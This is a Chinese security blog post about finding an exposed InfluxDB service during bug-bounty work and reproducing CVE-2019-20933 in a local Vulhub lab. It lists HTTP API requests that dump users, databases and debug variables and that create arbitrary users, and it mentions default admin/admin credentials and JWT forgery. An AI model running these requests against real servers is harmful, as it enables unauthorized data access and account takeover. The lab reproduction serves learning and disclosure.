记录一次时序数据库的实战测试

0x1.前言

​ 本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。文中涉及漏洞均以提交至教育漏洞平台。

0x2.背景

​ 在某次Edusrc挖掘过程中,我发现了一个404状态码的ip站如下图所示:

1

​ 我的直觉告诉我,这个站不太简单。于是我信息搜集了一下端口为8086的常见服务:

2

​ 当我看到这个InfluxDB的时候,我灵感突然来了,虽然我当时不知道是什么,我尝试着进行抓包看看返回包,但是多尝试一下没想到这个站点还真的是InfluxDB服务!

3

​ 后续利用我先不讲,我们先好好讲一下InfluxDB是一个怎么样的数据库。

0x3.InfluxDB介绍

​ InfluxDB是一个由InfluxData开发的开源时序型数据库。它由Go写成,着力于高性能地查询与存储时序型数据。InfluxDB被广泛应用于存储系统的监控数据,IoT行业的实时数据等场景。

​ 在了解了InfluxDB的基本概念之后我们得先了解一下什么是时序性数据库。

​ 为了方便理解我将时序性数据库与大家常用的关系型数据库进行一个以表格的形式进行对比展示:

特征时序性数据库 (TSDB)关系型数据库
数据模型专门设计用于时间序列数据,包括时间戳、测量值、标签和字段。通用数据模型,表格结构,支持多种数据类型。
查询语言使用专门的查询语言,如InfluxQL或Flux,用于时间序列数据的高效查询和分析。使用SQL进行复杂的查询操作,支持多表关联和通用数据分析。
性能和优化针对高性能时间序列数据存储和查询进行了优化,具有高吞吐量和低延迟。面向通用工作负载,不一定专注于高性能时间序列数据处理。
应用领域用于监控、日志分析、传感器数据、度量数据、物联网应用等,其中时间序列数据是核心。用于各种不同类型的应用领域,不限于时间序列数据。
数据完整性和一致性提供数据完整性和一致性,但通常没有像关系型数据库中的ACID属性那么强调。通常强调ACID属性以确保数据的一致性和完整性。
复杂查询支持不支持像关系型数据库中的复杂JOIN操作和多表关联查询。支持复杂的SQL查询,包括JOIN操作和多表查询。
数据建模和模式定义更灵活,数据模型通常根据需求动态定义,不要求固定的模式。需要明确定义模式,表的结构通常静态。
扩展性通常针对高并发和大数据量的时间序列数据设计,支持水平扩展。支持垂直和水平扩展,但可能需要更多配置和优化。
主要优势高性能时间序列数据存储和查询,专注于时间序列应用。通用性、数据完整性、支持复杂查询和关联操作。

​ 然后我也整理了一下MySQL与InfluxDB概念差异和相关概念扩展用一个表格来进行对比展示:

概念MySQLInfluxDB
数据类型和键支持多种数据类型,需要定义主键和外键不同数据类型,数据模型专注于时间序列
关系模型使用关系数据库管理系统 (RDBMS) 模型专注于时间序列数据,没有复杂关系
事务处理支持事务处理,使用ACID属性无事务处理,数据写入是原子操作
SQL查询使用SQL进行数据查询和操作使用InfluxQL或Flux查询语言,特化于时间序列数据
复制和集群支持主从复制、主主复制和集群配置提供高可用性和数据冗余的集群配置
数据存储单位表 (table)Measurement,Series是由Measurement和相关的标签(Tags)组成的具体时间序列数据集合。
基本数据单位列 (column)Tag (标签,可用于高效过滤和索引)、Field (字段,不用于索引)、Timestamp (时间戳,作为唯一主键)
连续查询不适用支持连续查询,可自动汇总历史数据
适用领域通用的关系型数据存储需求高性能、高可用性的时间序列数据存储和查询
主要优势复杂关系模型、事务处理、通用数据存储时间序列数据的高性能、高吞吐量

​ 然后这里整理了一些常见的 InfluxQL Http Api的语句:

GET /query?q=SHOW USERS #查看当前所有的数据库用户
GET /query?q=SHOW DATABASES #查看所有数据库
GET /query?q=SHOW MEASUREMENTS&db=某个db的名称 #查询数据库中所含的表
GET /query?q=SHOW FIELD KEYS&db=某个db的名称 # 查看当前数据库所有表的字段
GET /query?q=show series&db=某个db的名称 # 查看series
GET /debug/vars #debug敏感泄露
POST /query?q=CREATE USER XXX WITH PASSWORD 'XXX' # 这一点需要伪造jwt

0x4.本地漏洞复现

​ 实战的利用过程就不放上来了,放上来也是厚码还不如直接本地复现讲的更清楚。

使用Vulhub在本地虚拟机上搭建:

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

没有搭建过vulhub靶场可以参考官方文档:https://vulhub.org/#/docs/install-docker/

搭建好后我们直接使用如下命令:

cd /vulhub/influxdb/CVE-2019-20933
docker-compose up -d

开放在默认的8086端口,环境启动后,访问xxx:8086即可开始复现:

15

虽然是404,但是抓包回显发现是influxdb服务

16

17

我简单尝试之后发现是弱口令admin/admin。如果发现弱口令不可以的话,可以伪造jwt我就不多赘述了。

然后我们来进行测试:

debug敏感泄露

GET /debug/vars

18

查看当前所有的数据库用户

GET /query?q=SHOW USERS

19

查看所有数据库

GET /query?q=SHOW DATABASES

20

查询数据库中所含的表

GET /query?q=SHOW MEASUREMENTS&db=某个db的名称

21

查看当前数据库所有表的字段

GET /query?q=SHOW FIELD KEYS&db=某个db的名称

22

查看series

GET /query?q=show series&db=某个db的名称

23

任意用户写

POST /query?q=CREATE USER XXX WITH PASSWORD ‘XXX’

24

GET /query?q=SHOW USERS

再来查看一下:

25

最后别忘了关闭容器:

docker stop cve-2019-20933_web_1

0x6.总结

​ 这篇主要是分享一下经验,也就是说不一定状态码是404的站点就一定不能利用。我相信阅读完此篇然后去复现一下,你对InfluxDB的利用肯定有不一样的理解~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/104796.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

023-第三代软件开发-自定义Button

第三代软件开发-自定义Button 文章目录 第三代软件开发-自定义Button项目介绍自定义Button第一类型-加声音第二类型-加样式 第三类型-减声音总结一下存在一点小问题 关键字: Qt、 Qml、 Button、 关键字4、 关键字5 项目介绍 欢迎来到我们的 QML & C 项目&…

Redis缓存(缓存预热,缓存穿透,缓存雪崩,缓存击穿)

目录 一, 缓存 1, 什么是缓存 2, 什么是热点数据(热词) 3, 缓存更新策略 3.1 定期生成 3.2 实时生成 二, Redis缓存可能出现的问题 1, 缓存预热 1.1 什么是缓存预热 1.2 缓存预热的过程 2, 缓存穿透 2.1 什么是缓存穿透 2.2 缓存穿透产生的原因 2.3 缓存穿透的解…

优思学院|中质协六西格玛考试形式是什么样的?

中质协的考试形式主要为单选和多选题,近年也有加了一小部分填空题,和国际认证考试有很大区别,因为美质协(ASQ)、国际精益六西格玛研究所(ILSSI),又或者著名的PMP项目管理认证等都是采…

Java性能分析工具

Arthas 官网:简介 | arthas Arthas 是 Alibaba 开源的 Java 诊断工具,深受开发者喜爱。Arthas 是一款线上监控诊断产品,通过全局视角实时查看应用 load、内存、gc、线程的状态信息,并能在不修改应用代码的情况下,对业…

Spark SQL概述与基本操作

目录 一、Spark SQL概述 (1)概念 (2)特点 (3)Spark SQL与Hive异同 (4)Spark的数据抽象 二、Spark Session对象执行环境构建 (1)Spark Session对象 (2)代码演…

【深度学习实验】循环神经网络(五):基于GRU的语言模型训练(包括自定义门控循环单元GRU)

文章目录 一、实验介绍二、实验环境1. 配置虚拟环境2. 库版本介绍 三、实验内容(一)自定义门控循环单元(GRU,Gated Recurrent Unit)1. get_params2. init_gru_state3. gru (二)创建模型0. 超参数…

3. 博弈树 (15分)

下棋属于一种博弈游戏,博弈过程可以用树(博弈树)来表示。假设游戏由两个人( A 和 B )玩,开始由某个人从根结点开始走,两个人轮流走棋,每次只能走一步, 下一步棋只能选择当…

OTA语音芯片NV040C在智能电动牙刷的应用

以往我们对牙齿的清洁是使用的是手动方式进行,用柔软的牙刷刷毛去进行牙齿的清洁。但现在我们拥有了一种新颖的刷牙方式,靠电力去驱动、清洁我们的牙齿。电动牙刷的刷头通过快速旋转,产生高频振动,将牙膏迅速分解为细小的泡沫&…

支付宝支付接入流程

一、 接入准备 支付宝支付流程没有微信那么复杂,而且支付宝支持沙箱。登录支付宝开放平台控制台 点击开发工具中的沙箱 接口加密方式,我这里使用的是自定义密钥。生成密钥的方式 使用支付宝官方提供的密钥工具,唯一要注意的是支付宝密钥工具…

idea + Docker-Compose 实现自动化打包部署(仅限测试环境)

一、修改docker.service文件,添加监听端口 vi /usr/lib/systemd/system/docker.service ExecStart/usr/bin/dockerd -H fd:// --containerd/run/containerd/containerd.sock -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock重启docker服务 systemctl daemo…

线性代数3:矢量方程

一、前言 欢迎回到系列文章的第三篇文章,内容是线性代数的基础知识,线性代数是机器学习背后的基础数学。在我之前的文章中,我介绍了梯队矩阵形式。本文将介绍向量、跨度和线性组合,并将这些新想法与我们已经学到的内容联系起来。本…

基于 Redis + Lua 脚本实现分布式锁,确保操作的原子性

1.加锁的Lua脚本: lock.lua --- -1 failed --- 1 success--- getLock key local result redis.call(setnx , KEYS[1] , ARGV[1]) if result 1 then--PEXPIRE:以毫秒的形式指定过期时间redis.call(pexpire , KEYS[1] , 3600000) elseresult -1;-- 如果value相同&…

数据清洗(data clean)

整理了下数据清洗的基本流程,异常值部分整理在了EDA中。

什么是简单网络管理协议(SNMP)

简单网络管理协议(SNMP:Simple Network Management Protocol)是由互联网工程任务组(IETF:Internet Engineering Task Force )定义的一套网络管理协议。该协议基于简单网关监视协议(SGMP&#xf…

React中的Virtual DOM(看这一篇就够了)

文章目录 前言了解Virtual DOMreact创建虚拟dom的方式React Element虚拟dom的流程虚拟dom和真实dom的对比后言 前言 hello world欢迎来到前端的新世界 😜当前文章系列专栏:react合集 🐱‍👓博主在前端领域还有很多知识和技术需要掌…

DevOps持续集成-Jenkins(3)

文章目录 DevOpsDevOps概述Jenkins实战3:实战1和实战2的加强版(新增SonarQube和Harbor)⭐环境准备⭐项目架构图对比Jenkins实战1和实战2,新增内容有哪些?SonarQube教程采用Docker安装SonarQube (在Jenkins所…

生成树协议:监控 STP 端口和交换机

什么是生成树协议 生成树协议 (STP) 用于网络交换机,以防止循环和广播风暴。在局域网 (LAN) 中,两条或多条冗余路径可以连接到同一网段。当交换机或网桥从所有可用端口传输帧时,这些帧开始在网…

基于单片机设计的智能窗帘控制系统

一、前言 智能家居技术在近年来取得了巨大的发展,并逐渐成为人们日常生活中的一部分。智能家居系统带来了便利、舒适和高效的生活体验,拥有广泛的应用领域,其中之一就是智能窗帘控制系统。 传统窗帘需要手动操作,打开或关闭窗帘…

华硕天选1天选2天选3天选4天选air原厂预装出厂系统恢复安装教程方法

华硕天选1天选2天选3天选4天选air原厂预装出厂系统恢复安装教程方法 第一:自备原装swm/esd/wim/iso等格式系统文件,以上这几种格式文件安装恢复非常简单,使用PE工具即可完成恢复安装,还有一种安装方法就是华硕zip工厂恢复模式 1.首先需要自…

Adaptive AUTOSAR RTA-VRTE工具链介绍

ETAS Adaptive AUTOSAR RTA-VRTE是一种面向服务架构的中间件方案,提供了自适应AutoSAR平台,为应用层软件提供了运行环境. RTA-VRTE start kit的构建系统在主机VM内执行,可以创建AUTOSAR自适应应用程序并将其部署到一个或多个目标ECU虚拟机.